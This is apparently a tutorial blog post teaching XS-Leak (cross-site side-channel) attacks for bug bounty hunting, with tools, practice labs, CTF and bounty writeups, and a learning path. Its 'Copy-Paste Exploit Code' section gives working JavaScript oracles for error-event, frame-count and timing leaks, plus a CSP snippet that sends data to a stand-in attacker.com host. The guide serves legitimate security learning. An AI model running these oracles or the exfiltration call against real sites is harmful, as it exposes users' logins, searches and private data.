XS-Leaks Explained
From “What Is This” to First Bounty Report
XS-Leaks: The Browser Can’t Keep Secrets
You visit my sketchy website. I learn you’re logged into your bank, your company Slack, your secret Reddit alt.
Without touching your password. Without any malware. Just… your browser snitching on you.
One-Line Flow: Evil page asks your browser yes/no questions about other sites → browser accidentally answers → attacker builds a profile of your entire online life.
Why this matters to you:
Your browser thinks it’s protecting you. It’s not. Every site you’re logged into leaks tiny signals — enough for attackers to figure out who you are, what you’re doing, and where you work. Bug bounty hunters have made $10K+ reports from this. And you’re about to learn exactly how.
This isn’t theoretical. Someone already used these techniques to view every private Instagram post. Researchers leaked Google users’ search history, contacts, and YouTube watch lists. A guy found a 0-day in CTFd that would’ve let him steal flags from admins during live competitions.
The tools exist. The techniques are documented. After this guide, the only variable is you.
🧠 What Actually Happens (30-Second Version)
Imagine you’re logged into your bank. You visit some random blog.
That blog secretly asks: “Hey browser, load this image from bank.com/account/12345”
- If you’re account #12345 → image loads

- If you’re not → error

The blog can’t see the image. But it knows whether it loaded or errored.
That one bit of information? Enough to confirm your account number. Now repeat with different guesses. Now try other sites. Now time how fast things load.
Suddenly that “random blog” knows:
- You bank at Chase
- You work at [Company]
- You searched “how to quit my job” on Google
- You watched that embarrassing YouTube video
All from yes/no questions your browser answered without asking you.
That’s XS-Leaks. Cross-Site information Leakage through side-channels.
🎰 One-Click Tools (Zero Coding Required)
XSinator — The “Am I Vulnerable?” Button
Visit this site. Click one button. Watch it test 34+ leak techniques against your browser in real-time.
- Shows exactly which attacks work on YOUR browser
- Tests Chrome, Firefox, Safari, Edge, mobile
- Each technique has a live demo page (view source = learn)
- Academic paper included if you want to go deeper
GitHub: https://github.com/RUB-NDS/xsinator.com
Research Paper: https://xsinator.com/paper.pdf (IEEE S&P 2021)
XSLeaker Chrome Extension
https://github.com/1lastBr3ath/XSleaks
Install it → browse normally → get alerts when sites might be vulnerable.
Passive detection while you hunt. No configuration.
XSLeaker Scanner (Full Suite)
https://github.com/Philesiv/XSLeaker
Chrome extension + Node.js server combo:
- Log into target as User A in one browser profile
- Log into target as User B in another profile
- Scanner compares what’s different between states
- Tells you exactly what leaks
Finds oracles automatically. You just need multiple test accounts.
XS-Leaks Lab (Practice Range)
https://github.com/t-sorger/xs-leaks-lab
Docker environment with pre-built vulnerable targets:
git clone https://github.com/t-sorger/xs-leaks-lab
cd xs-leaks-lab
docker-compose up
Now you have attacker + victim containers ready. Break stuff legally.
CISPA’s Automated Discovery Pipeline
https://github.com/cispa/xs-observations
From the researchers who published “The Leaky Web” at IEEE S&P 2023.
Two tools:
- Test Browser Framework: Discovers NEW leak techniques in browsers
- Does-It-Leak Pipeline: Scans websites automatically for XS-Leaks
This is what actual researchers use to find novel vulnerabilities. Now it’s public.
💰 Real Bounty Writeups (People Got Paid For This)
terjanq’s Google Raids — Multiple VRP Rewards
One researcher. One technique. Multiple Google products falling like dominoes.
The Attack: Cache probing. If Google loads a specific image when you search something, that image gets cached. Attacker clears cache → forces you to visit Google → checks if image got cached → knows what you searched.
What He Leaked:
| Product | What Leaked | POC Link |
|---|---|---|
| Gmail | Search results existence | Live Demo |
| YouTube | Watch history | Same POC |
| Google Contacts | Contact names, char by char | Same POC |
| Google Books | Reading history, purchases, private collections | Writeup |
Full Writeup: https://terjanq.github.io/Bug-Bounty/Google/cache-attack-06jd2d2mz2r0/index.html
The Google Books one is especially spicy — could expose if someone’s reading banned books, sensitive medical info, or embarrassing titles. Real privacy impact.
CTFd 0-Day — Steal Flags From Admins
Author: Jorian Woltjer
Impact: Steal solved flags from CTF administrators
Patched in: CTFd < 3.7.2
The Attack:
- Browser history saves 200 OK pages, not 404s
- CTFd’s submissions page returns 200 if search matches, 404 if not
- CSS
:visitedstyling leaks which URLs were visited - Chain together → leak flag character by character
Demo video + full code: https://jorianwoltjer.com/blog/p/hacking/xs-leaking-flags-with-css-a-ctfd-0day
Imagine being in a CTF and your admin visits your page… and you steal every flag they’ve verified. That was possible.
003random’s Instagram Privacy Bypass — $14,500
Not a classic XS-Leak but same energy — side-channel extraction of “private” data.
The Attack:
- Instagram’s oEmbed endpoint returns different responses for public vs private posts
- Spoofing User-Agent to look like Facebook’s crawler bypassed the check
- Any “private” post’s content was now fetchable
Full Writeup: https://medium.com/@pfrfrn/stealing-every-private-post-picture-on-instagram-bea7e47c7e00
The researcher found a timing discrepancy first, then dug deeper. Classic XS-Leak mindset even if the final exploit wasn’t browser-based.
Facebook CTF 2019 — Secret Note Keeper
Technique: Frame counting (window.length)
Admin has a secret note containing the flag. Search function changes the number of iframes depending on results.
// Attacker's page
let win = window.open('https://target.com/search?q=CTF{');
setTimeout(() => {
if (win.frames.length > 0) {
console.log('CTF{ exists in notes!');
}
win.close();
}, 2000);
Repeat with CTF{a, CTF{b, CTF{c… until you have the whole flag.
Writeup + Code: https://abdilahrf.github.io/ctf/writeup-secret-note-keeper-fbctf-2019
📋 Copy-Paste Exploit Code
Error Event Oracle (Easiest)
Does loading this URL succeed or fail? Different states = different answers.
<script>
function probe(url) {
return new Promise((resolve) => {
const img = document.createElement('img');
img.src = url;
img.onload = () => { resolve('exists'); img.remove(); };
img.onerror = () => { resolve('nope'); img.remove(); };
document.body.appendChild(img);
});
}
// Test if user ID 1337 exists
probe('https://target.com/api/user/1337/avatar.png')
.then(result => console.log('User 1337:', result));
</script>
Works because: authenticated endpoints return 200 for valid resources, 401/403/404 for invalid. onload vs onerror tells you which.
Frame Counting Oracle
How many iframes does the target page have? Different states = different counts.
<script>
async function countFrames(url) {
const win = window.open(url);
await new Promise(r => setTimeout(r, 3000)); // wait for load
const count = win.frames.length;
win.close();
return count;
}
// Search results page might have 0 frames for "no results"
// and 1+ frames for "results found"
countFrames('https://target.com/search?q=secret_project')
.then(count => {
if (count > 0) console.log('Search matched something!');
});
</script>
Timing Attack (Object Tag Method)
Bigger responses take longer to load. Time the difference.
<script>
function measureLoad(url) {
return new Promise(resolve => {
const start = performance.now();
const obj = document.createElement('object');
obj.width = '2000px'; // important: bigger = more rendering time
obj.height = '2000px';
obj.data = url;
obj.onload = () => {
const duration = performance.now() - start;
obj.remove();
resolve(duration);
};
document.body.appendChild(obj);
});
}
// Compare timing for different search queries
async function leak() {
const timeA = await measureLoad('https://target.com/search?q=a');
const timeB = await measureLoad('https://target.com/search?q=secret');
// If 'secret' takes way longer, results were found
console.log('Time for "a":', timeA);
console.log('Time for "secret":', timeB);
}
leak();
</script>
From the justCTF 2022 Baby XSLeak challenge: https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/
CSP Violation Oracle (Redirect Detection)
Use Content Security Policy to detect where a page redirects.
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy"
content="frame-src https://expected.com; report-uri /log">
</head>
<body>
<script>
document.addEventListener('securitypolicyviolation', (e) => {
// CSP blocked something! Check where it tried to go
fetch('https://attacker.com/log?blocked=' + encodeURIComponent(e.blockedURI));
});
// If target redirects logged-in users to /dashboard
// but redirects logged-out users to /login...
const iframe = document.createElement('iframe');
iframe.src = 'https://target.com/auth-check';
document.body.appendChild(iframe);
// CSP violation will reveal the redirect destination
</script>
</body>
</html>
XS-Search Binary Oracle (Full Leak Loop)
Leak data character by character:
<script>
const CHARSET = 'abcdefghijklmnopqrstuvwxyz0123456789_}';
let flag = 'flag{';
async function oracle(guess) {
// Your detection method here (timing, frame count, error, etc.)
// Returns true if guess matches
}
async function leak() {
while (!flag.endsWith('}')) {
for (const char of CHARSET) {
const guess = flag + char;
if (await oracle(guess)) {
flag = guess;
console.log('Found:', flag);
break;
}
}
}
console.log('Full flag:', flag);
}
leak();
</script>
Every CTF XS-Leak challenge is basically this loop with a different oracle function.
🎯 Technique Cheat Sheet
| Technique | What It Detects | Difficulty | Works On |
|---|---|---|---|
| Error Events | onload vs onerror |
All browsers | |
| Frame Counting | window.frames.length changes |
All browsers | |
| Window Properties | window.length, window.opener |
All browsers | |
| Network Timing | Response size via load time | All browsers | |
| Cache Probing | Was resource previously loaded? | All browsers | |
| Navigation Timing | Where did page redirect? | All browsers | |
| Performance API | Detailed timing metrics | Chrome mainly | |
| CSP Violations | Blocked resource destinations | All browsers | |
| History Length | history.length changes |
All browsers | |
| Connection Pool | Socket exhaustion timing | All browsers | |
| CSS Injection | :visited styling, attribute selectors |
Varies | |
| CORB/CORP Errors | Protected content-type detection | Chrome | |
| Payment Request API | Is payment dialog active? | Chrome | |
| Speculation Rules | Prefetch behavior differences | Chrome 109+ |
Live tests for each technique: https://xsinator.com/testing.html
📚 Learning Resources (By Effort Level)
Just Read (Zero Setup)
| Resource | Link | What You Get |
|---|---|---|
| XS-Leaks Wiki | https://xsleaks.dev | The official bible. Start here. |
| HackTricks XS-Search | https://book.hacktricks.xyz/pentesting-web/xs-search | Attack-focused cheatsheet |
| OWASP Cheat Sheet | https://cheatsheetseries.owasp.org/cheatsheets/XS_Leaks_Cheat_Sheet.html | Defense perspective (teaches offense) |
| MDN XS-Leaks | https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/XS-Leaks | Browser vendor explanation |
| Learn365 Day 6 | https://github.com/harsh-bothra/learn365/blob/main/days/day6.md | One-page overview |
| Beyond XSS Book | https://aszx87410.github.io/beyond-xss/en/ | Tutorial series, goes deep |
Practice (Need Docker/Browser)
| Resource | Link | What It Is |
|---|---|---|
| XSinator Tests | https://xsinator.com/testing.html | Live technique demos, view source to learn |
| XS-Leaks Lab | https://github.com/t-sorger/xs-leaks-lab | Docker practice environment |
| terjanq’s POCs | https://terjanq.github.io/Bug-Bounty/Google/cache-attack-06jd2d2mz2r0/poc.html | Working Google exploits |
CTF Challenges (Learn By Solving)
| CTF | Challenge | Technique | Writeup |
|---|---|---|---|
| Facebook 2019 | Secret Note Keeper | Frame counting | Link |
| justCTF 2022 | Baby XSLeak | Object timing | Link |
| SECCON 2023 | cgi-2023 | CSP + SRI leak | Link |
| SECCON 2024 | DOM Leakify | Multiple | Link |
| LineCTF | Your Note | Download timing | Link |
| Google CTF 2021 | Security Driven | CSP leak + collision | Link |
| Google CTF 2024 | Game Arcade | Sandbox escape | Link |
| Google CTF 2025 | Sourceless | XSSI + CVE | Link |
| Intigriti Dec 2024 | XS-Leak Challenge | Chained attack | Check xsleaks.dev |
CTF Archive: https://ctftime.org (search “xsleak” or “xs-search”)
Research Papers (Going Deep)
| Paper | Year | Why Read It |
|---|---|---|
| Cross-Site Search Attacks | 2015 | Started modern XS-Leak research |
| XSinator: From Formal Model to Automatic Evaluation | 2021 | 34 techniques formalized |
| The Leaky Web | 2023 | Automated discovery pipeline |
| XSSI Whitepaper | — | https://www.mbsd.jp/Whitepaper/xssi.pdf |
👑 Researchers Who Find This Stuff
terjanq
- Maintains the XS-Leaks Wiki
- Google VRP hunter (multiple high-impact reports)
- Creates Google CTF challenges based on real bugs he found internally
- GitHub: https://github.com/terjanq
- CTF Writeups: https://terjanq.github.io/Flag-Capture/
- Gists (latest work): https://gist.github.com/terjanq
arkark
- SECCON/ASIS CTF challenge author
- Deep client-side exploitation
- Blog: https://blog.arkark.dev
- Challenges: https://github.com/arkark/my-ctf-challenges
Jorian Woltjer
- CTFd 0-day finder
- Detailed writeups with video demos
- Blog: https://jorianwoltjer.com/blog/
003random
- Instagram $14,500 bounty
- Medium: https://medium.com/@pfrfrn
The CISPA Team
- “The Leaky Web” paper authors
- Built automated discovery tools
- Research: https://github.com/cispa/xs-observations
huli
- Taiwan security researcher
- Excellent XS-Leak CTF writeups
- Blog: https://blog.huli.tw
⚡ 5-Week Learning Path
Week 1: Foundation
- Read the entire https://xsleaks.dev wiki
- Run XSinator on all your browsers
- Understand the difference between XSS and XS-Leaks
- Set up xs-leaks-lab locally
Week 2: Basic Techniques
- Implement error event oracle from scratch
- Implement frame counting oracle
- Test both against xs-leaks-lab
- Read terjanq’s Google cache attack writeup
Week 3: CTF Practice
- Solve Facebook CTF 2019 “Secret Note Keeper”
- Solve justCTF 2022 “Baby XSLeak”
- Study both writeups deeply
- Understand why each oracle worked
Week 4: Advanced Techniques
- Learn timing attacks (object tag method)
- Learn CSP violation leaks
- Read the CTFd 0-day writeup
- Study terjanq’s Google Books leak
Week 5: Real Hunting
- Pick a bug bounty target with search functionality
- Identify potential oracle endpoints
- Test for state-dependent responses
- Write your first XS-Leak report
⚠️ Reality Check: What Actually Pays
Google in 2024+
Basic XS-Leaks → “Won’t fix, mitigated systemically”
Novel techniques → Still rewarded
Severe privacy impact → Case by case
Chained with other bugs → Yes
Google hardened. They deployed Cross-Origin-Opener-Policy, partitioned caches, and other defenses. Basic attacks don’t work anymore.
Everyone Else
Most companies haven’t caught up. SaaS apps, B2B platforms, smaller tech companies — still vulnerable to techniques Google patched years ago.
What To Target
- Search/filter endpoints — Classic XS-Search territory
- Admin panels — Different states, different responses
- API endpoints — Often forget browser-based attacks exist
- Redirect flows — Login status checks leak state
- Error pages — Different errors for different states
Pro Moves
- Chain XS-Leaks with CSRF for higher impact
- Chain with XSS to amplify what you can leak
- Focus on privacy impact (PII exposure > “can detect login status”)
- Document the attack scenario clearly in your report
🔗 All Links In One Place
Primary Resources:
- https://xsleaks.dev — The wiki
- https://xsinator.com — Browser test suite
- https://book.hacktricks.xyz/pentesting-web/xs-search — Attack cheatsheet
Tools:
- https://github.com/RUB-NDS/xsinator.com — XSinator source
- https://github.com/Philesiv/XSLeaker — Scanner suite
- https://github.com/1lastBr3ath/XSleaks — Chrome extension
- https://github.com/t-sorger/xs-leaks-lab — Practice lab
- https://github.com/cispa/xs-observations — Research tools
Writeups:
- https://terjanq.github.io/Bug-Bounty/Google/cache-attack-06jd2d2mz2r0/index.html — Google cache attack
- https://terjanq.github.io/Bug-Bounty/Google/books-xs-search-enpgws9jw5mb/index.html — Google Books
- https://jorianwoltjer.com/blog/p/hacking/xs-leaking-flags-with-css-a-ctfd-0day — CTFd 0-day
- https://medium.com/@pfrfrn/stealing-every-private-post-picture-on-instagram-bea7e47c7e00 — Instagram
CTF Archives:
- https://terjanq.github.io/Flag-Capture/ — terjanq’s solutions
- https://github.com/arkark/my-ctf-challenges — arkark’s challenges
- https://gist.github.com/terjanq — Latest writeups
- https://ctftime.org — Search “xsleak”
Documentation:
- https://cheatsheetseries.owasp.org/cheatsheets/XS_Leaks_Cheat_Sheet.html — OWASP
- https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/XS-Leaks — MDN
- https://github.com/harsh-bothra/learn365/blob/main/days/day6.md — Quick overview
Papers:
- https://xsinator.com/paper.pdf — XSinator paper
- https://www.mbsd.jp/Whitepaper/xssi.pdf — XSSI techniques
The Point
The Instagram researcher who cashed $14,500 didn’t invent new math.
He noticed something weird. He poked at it. He chained existing techniques in a way nobody else thought to try.
The browser leaks information constantly. Every login check, every search result, every API response — they all behave differently depending on who’s asking. Your job is to notice those differences and turn them into yes/no questions.
The tools are free. The techniques are documented. The writeups show exactly what worked.
Now go find what everyone else missed.
Your browser is a snitch. Might as well be the one asking the questions. ![]()
!